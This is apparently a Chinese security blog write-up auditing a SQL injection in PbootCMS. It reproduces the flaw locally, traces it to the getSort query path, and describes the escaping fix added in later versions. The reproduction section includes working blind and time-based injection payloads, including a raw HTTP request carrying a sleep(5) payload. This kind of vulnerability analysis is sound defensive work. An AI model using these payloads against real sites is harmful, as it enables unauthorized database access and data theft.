pbootcms审计记录

环境搭建

  利用 phpstudy 轻松搭建 pbootcms 环境,但是在搭建过程中,我们自己设定 phpstudy 的解析域名不行,需要获取授权码,除了到官网去申请外,我们也可以直接通过修改域名为 localhost 绕过。

wKg0C2MZuq2AGDddAAAcLXgsA0424.png

  因为默认是 SQLilte 数据库 直接就可以安装好,但是为了后面注入的我们将数据库改为 MYSQL 数据库

  修改 config/database.php

wKg0C2MZurASl6gAABnw0DtjpA315.png

  将文件 static/backup/sql/pbootcms_v310.sql 导入到创建好的数据库中

wKg0C2MZutSAcU1cAAC7mOJ7XJ8805.png

  我们可以通过任意的报错信息获取 pbootcms 的版本信息

wKg0C2MZuuOAL2cEAABCKflB6w0315.png

漏洞复现

  我们先对漏洞进行复现,之后再做一个整体的分析

  我们向index.php 传参 http://localhost/index.php?1%27

  wKg0C2MZuv2AWmDCAABB5CowL84213.png

  我们发现直接爆出了 SQL 语句

  尝试闭合

  http://localhost/index.php?1%27)and(%271

wKg0C2MZuwqAUeufAABc5whYJsk477.png

  构造数据包

`python
GET /index.php?1')and(sleep(5))and('1 HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

  发现成功使得服务器沉睡五秒

wKg0C2MZuyAQhN2AADOyhkwUY624.png

  是属于 SQL 盲注 再进一步的做具体验证

wKg0C2MZu0eADytQAADQJAzvcww383.png

  wKg0C2MZu1WAIxB1AADxCIN9bsQ742.png

  substr((select(database())),1,1)like'p' 为true 我们本身对应的数据库名为 pbootcms 所以证明SQL 注入无误

  证实漏洞已经存在,我们就对漏洞进行一个分析

漏洞分析

静态逆向分析

  为了找到漏洞代码的位置,我们直接从执行 SQL 语句的函数,添加断点,判断执行 SQL 的内容

  这里我是直接打印出 SQL 语句并停止程序

  \core\database\Mysqli::query

  wKg0C2MZu2OAfuygAAA0o0X5uQ512.png

  ‍

  wKg0C2MZu3KAApHAADnGT9HtLg432.png

  看到了 SQL 语句 就直接进行查询,全局搜索后发现调用来自于

  \app\home\model\ParserModel::getSort

  wKg0C2MZu4SAXORqAABTtlbGdPQ494.png

  而注入的参数就是 \$scode

  寻找 getSort 的调用,并查看其参数是否可控

  wKg0C2MZu5CAQbHBAADgnLhsmpU254.png

  最终在

  \app\home\controller\IndexController::_empty

  wKg0C2MZuOAF9SkAACYiQBr4HU719.png

  wKg0C2MZuCAMzGxAABnYbbXR54199.png

  path 就是来自于路由器的匹配

动态正向调试

  ‍

  wKg0C2MZu2AZd1AAB8vKyvB5s942.png

  \app\home\model\ParserModel::getSort

  wKg0C2MZvAmAYzAmAACYUMT5AJs304.png

  \core\basic\Model::find

  wKg0C2MZvBuAG6rFAACiB3IKL0c412.png

  \core\database\Mysqli::one

  wKg0C2MZvCaAD0CGAABJLdUFEwA458.png

  \core\database\Mysqli::query

  wKg0C2MZvDaAL2y8AACTTdXh7fI272.png

漏洞修复

  在最新版本中这个漏洞已经被修复,我们跟进查看一下漏洞修复方法

  apps/home/controller/IndexController.php::_empty

wKg0C2MZvEWAQlgPAACGX1lBIg016.png

 wKg0C2MZvFGATs52AABx8CX6kJ0773.png

  我们看到对路由进行了转义处理,如此一来对 SQL 注入的防护似乎达到的一劳永逸的效果,修复方式还是很不错,在入口处添加转义函数,对路由进行转义处理,从而避免掉 SQL 注入

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐